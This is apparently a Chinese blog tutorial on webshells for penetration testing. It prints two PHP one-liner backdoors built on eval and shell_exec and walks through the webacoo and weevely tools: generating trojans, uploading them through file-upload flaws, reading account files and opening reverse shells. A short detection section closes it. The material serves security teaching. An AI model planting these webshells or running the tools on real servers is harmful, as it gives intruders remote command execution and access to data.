渗透测试之Webshell

2023-10-27

简介

        Webshell是通过服务器开放的端口获取服务器的某些权限。它又称脚本木马,一般分为大马、小马、一句话木马。

        大马,体积大、功能齐全、能够管理数据库、文件管理、对站点进行快速的信息收集,甚至能够提权。

        小马,一般而言,我们在上传文件的时候,会被限制上传的文件大小或是拦截的情况,那么我通过小马来上传大马,实现我们想要的功能。

        一句话木马,短小精悍、功能强大、隐蔽性好、使用客户端可以快速管理webshell。

产生原因

        Webshell正常肯定不是开发者想主动留下的,而且也比较少遇到现成的Webshell。多数情况下,我们使用的Webshell是利用文件上传漏洞、SQL注入漏洞、RCE漏洞等,将恶意文件放到web服务器中生成的。

        这个生成的Webshell也就是常说的”后门”,之后通过这个Webshell可以进行文件管理、数据库管理、远程命令执行、提权等恶意操作。

一句话木马 

        这里介绍两种比较常见的一句话木马。

        这是php语法的一句话木马:

<?php eval(@$_POST['value']);?>
<?php echo shell_exec($_GET['cmd']);?>

        看一下第一种php的一句话木马:

第一种木马

        具体语法就不解释了,感兴趣的可以查一下基础教程。等看到后面的WebShell管理工具的内容,你就会知道这种一句话木马其实都是可以通过工具生成的,没必要了解具体的语法。

        这种木马使用也很方便,只要将需要执行的php代码,通过post形式的接口传入就行:

利用木马执行php代码

        第二种木马:

第二种木马

        第二种木马的使用方法:

利用木马执行命令

 WebShell管理工具

        网上有挺多WebShell管理工具的,这些管理工具可以用来生成隐蔽性比较强的木马,并比较方便的连接木马进行渗透。这里简单罗列一些WebShell管理工具:

  • webacoo
  • Cknife
  • antSword
  • 冰蝎
  • weevely
  • Altman
  • Webshell
  • quasibot

        这些工具中有些是Windows环境的工具,有些是Linux环境的工具。看个人需要来选择要使用哪种工具吧。Cknife在以前业内挺有名,中文名叫中国菜刀,不是很确定还有没有继续更新。

        你们在挑选使用的工具时,要确认一下是否还有维护,还有更新记录。去官网或者源头下载,别使用第三方定制过的,很容易中毒。

WebShell管理工具-webacoo

        webacoo是Linux环境下的命令行工具,在Kali中安装的话直接输入webacoo就可以:

webacoo安装

         在这里特意介绍webacoo,主要是因为它有这些优点:

  • 编码通信内容通过cookie头传输,隐蔽性强
  • 使用方便

        先来看一下帮助文档:

webacoo -h

        不对所有参数做介绍了,就用webacoo演示一遍渗透过程吧。

        生成木马文件:

webacoo -g -o a.php

         参数-g的作用是生成木马文件,这个参数需要和-o参数一起使用。

        参数-o的作用是指定输出的文件名。

        可以看到生成的木马文件内容是经过编码的:

生成的木马文件

         将这个木马文件通过其他可以传输文件的漏洞传给目标服务器,这里利用文件上传漏洞:

将木马文件传给目标机器

         在攻击机上连接目标主机:

连接目标主机

         可以从左侧的文字看出,已经不在当前攻击机的Linux终端了。

        其中的参数-t表示将webacoo作为客户端使用,-u表示要连接的服务器文件地址。

        连接成功后已经能做很多操作了,比如提权、取证等:

渗透成功后的操作

         用wireshark抓包看一下请求的执行:

请求的数据

         可以看到请求的数据被携带在cookie中,且经过了默认的base64编码。

        cm是base64编码的命令,cn是服务器用于返回数据的cookie头的名,cp是返回信息定界符。

        可以通过对cm的内容进行解码,确认所传的命令是不是我们输入的:

对命令解码

         webacoo还有一些比较实用的参数,比如不对木马进行混淆编译的-r、指定木马使用函数方法的-f、指定返回内容携带在cookie哪个名称中的-c、指定代理的-p等等。

WebShell管理工具-weevely

        weevely是预装在Kali中的,所以使用Kali的同学不用进行安装。它是一款基于python编写的webshell管理工具,其优点是跨平台,隐蔽性不错,参数随机生成并加密。但缺点是只支持php。

        weevely有30多个管理模块,可以做到很多事情:

  • 执行系统命令、浏览系统文件;
  • 检查服务器常见配置错误;
  • 创建正向、反向TCP Shell连接;
  • 通过目标计算机代理HTTP流量;
  • 从目标计算机运行端口扫描、渗透内容。

        weevely还支持通过密码连接,这样就不容易出现自己好不容易渗透控制的肉鸡,第二天就被人摘了桃子的情况。

        先看一下帮助文档:

weevely的帮助文档

         下面演示一下渗透操作。生成木马文件:

生成的木马文件

         将木马文件传给目标主机:

将木马文件传给目标机器

        在攻击机上连接目标主机:

连接目标主机

         在连接上目标主机后,可以通过输入help命令,查看前面提到的那些丰富的管理模块:

提供的管理模块

         如果你在执行了help后没有管理模块显示,那可能是少装了一个python的三方库pysocks。直接通过pip应该会失败,可以去仓库下载源码包,手动安装,源码包地址:

https://pypi.python.org/pypi/PySocks/

        将源码包放到攻击机后,到解压后的目录执行安装命令:

安装pysocks

         安装成功后,就能正常使用weevely的管理模块了。

        查找目标系统中的弱权限隐患:

audit_filesystem

         查找账户文件:

audit_etcpasswd

         这个其实自己通过命令也能很容易查找到,就是不知道weevely是直接查的固定文件,还是查了etc里面的所有文件。

        用目标主机扫描内网其他主机:

扫描命令的使用说明

         管理模块很多,这里就不全部演示了,感兴趣可以看帮助文档。

WebShell的防护

        一般可以通过静态检测和动态检测来防止被webshell渗透。

        静态检测主要是指对web日志的检查,进行文本特征匹配、统计特征计算与文件关联性分析,最后对检测结果汇总,列出疑似的Webshell文件。例如,网站目录下某php文件访问量很少,且来源ip固定。

        动态检查主要是指监控webshell执行时刻表现出来的特征。例如,webshell如果执行系统命令的话,会有进程,我们只要实时监控可疑进程就行。

总结

        作为攻击者,要进行webshell渗透,主要是考虑如何绕过系统上传webshell,如何隐藏webshell免查杀;作为防御者,为了安全,应该考虑如何避免webshell被上传,如何查杀webshell。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

渗透测试之Webshell 的相关文章

随机推荐

  • redis配置文件详解

    redis配置文件详解 1 开头说明 这里没什么好说的 需要注意的是后面需要使用内存大小时 可以指定单位 通常是以 k gb m的形式出现 并且单位不区分大小写 2 INCLUDES 我们知道Redis只有一个配置文件 如果多个人进行开发维
  • 新建虚拟机与本机ping不通(一招解决)

    初始新建虚拟机或者复制虚拟机后 发现虚拟机能ping通内外网 但是本机无法ping通虚拟机 xshell也无法连接虚拟机 这时候就很头疼了 因为要上传很多文件到虚拟机上面 解决办法 1 关闭虚拟机后 打开虚拟机的虚拟网络编辑器 虚拟机 编辑
  • 抖音直播伴侣使用教程

    抖音直播伴侣使用教程分享 红色框区域 管理场景 添加素材 切换横竖屏 蓝色框区域 常用直播功能 绿色框区域 开关播控制 性能占用情况 官方公告 黄色框区域 直播榜单 白色框区域 弹幕窗口 中央区域 直播画面采集预览 抖音直播伴侣功能介绍 添
  • Vue入门

    npm install g cnpm registry https registry npm taobao org cnpm install global vue cli vue init webpack my project cd my
  • 大厂 H5 开发实战手册

    京东凹凸实验室 Aotu io 英文简称 O2 创立于 2015 年 10 月 为掘金最早一批联合编辑 拥有数千关注者 O2 对内负责京东 PC 端首页 多个频道页 小程序版本京东购物 微信手 Q 京东购物 M 端京东 各类营销活动场景 H
  • Java使用TreeSet来排序学生成绩

    Java TreeSet TreeSet是一个有序的集合 它的作用是提供有序的Set集合 在java中使用 下面我们来进行一个实例来操作一下 具体看看怎么使用 我们的要求是用TreeSet集合存储多个学生对象的姓名 语文和数学成绩 然后按照
  • 一道经典面试题透彻理解面向对象编程思想和简单工厂模式

    一道经典的面试题如下 用一种面向对象编程语言实现一个计算器来满足整数的加减乘除运算 大部分人的代码如下 1 0版本 include
  • 【教程&工具】微信同步文章到Bear

    在我日常工作中 我会将各种互联网以及生活中产出的信息汇总到Bear 再通过Bear的云同步使我各个终端的信息保持一致 以前在使用有道云笔记的时候 有个功能我很喜欢 就是当看到一篇想收藏的文章的话 就可以直接右上角发送到有道云笔记 如下图 顺
  • “蓝桥杯总结”

    历时一个学期第十四届蓝桥杯也算是落下帷幕了 我报的是java B组从什么都不懂到省一 自己都觉得不可思议 再到国优 优秀奖也就是安慰奖 这一次参赛虽然国赛等于没拿奖 但对我而言已经很满意了 正经总结可能还要说点经验什么的 但我备赛确实没什么
  • SpringBoot之一次关于bootstrap.yaml文件的思考

    一次关于bootstrap yaml文件的思考 1 简介 2 前言 3 BootstrapApplicationListener 4 ConfigFileApplicationListener 最后 1 简介 本文不是介绍yaml的语法 是
  • OpenCV t reshold函数

    threshold函数作用 去掉噪 例如过滤很小或很大像素值的图像点 threshold函数python版原型 retval dst cv threshold src thresh maxval type dst 参数说明 src 原图像
  • golang-实现自己的事件驱动

    golang实现自己的事件驱动 众所周知 go中的异步操作都已经封装在了运行时的过程中 有关socket的网络的异步操作都封装到了go的netpoll中 从而简化了编程形式 本文也就根据evio库总结而来 golang跨平台库 如何编写go
  • 【笔记】buck/boost/buck-boost相关计算公式

    目录 BUCK 输入与输出 电感纹波电流 电感感量 电感电流 输出纹波电压 输入电容纹波电流 电感相关参数 感量 额定电流 温升电流 饱和电流 DCR 直流阻抗 开关频率 BOOST 拓扑 BUCK BOOST 拓扑 波形 学习过程中做好笔
  • 软考之项目网络图(活动图)

    搜集各种例题及解析已提供更好的理解
  • Thumbnails操作图片发红的问题解决

    这个问题其实是由于这条语句导致的错误 ImageIO read new File watermark png 0 5f 所以我们用bufferedimage构造就不会出现这个问题 下面 ImageWrapper imageWrapper I
  • 类的加载生命周期

    类的加载生命周期 1 加载 加载 是 类加机制 的第一个过程 在加载阶段 虚拟机主要完成三件事 1 通过一个类的全限定名来获取其定义的二进制字节流 2 将这个字节流所代表的的静态存储结构转化为方法区的运行时数据结构 3 在堆中生成一个代表这
  • CentOS6下安装docker

    CentOS6下安装docker 官方文档要求Linux kernel至少3 8以上 且docker只能运行在64位的系统中 由于RHEL6和CentOS6的内核版本为2 6 因此必须要先升级内核 下面以CentOS6 5 64位 为例 介
  • Docker 安装 Nginx 容器 (完整详细版)

    Docker 安装 完整详细版 Docker 日常命令大全 完整详细版 说明 Docker如果想安装软件 必须先到Docker镜像仓库下载镜像 Docker官方镜像 1 寻找Nginx镜像
  • ffplay如何通过URLProtocol拉取http数据【源码篇】

    目录 背景 必备的小知识点 函数调用流程图 ffurl alloc url find protocol http open cnx internal http connect probe 探查 av probe input buffer2
  • 渗透测试之Webshell

    简介 Webshell是通过服务器开放的端口获取服务器的某些权限 它又称脚本木马 一般分为大马 小马 一句话木马 大马 体积大 功能齐全 能够管理数据库 文件管理 对站点进行快速的信息收集 甚至能够提权 小马 一般而言 我们在上传文件的时候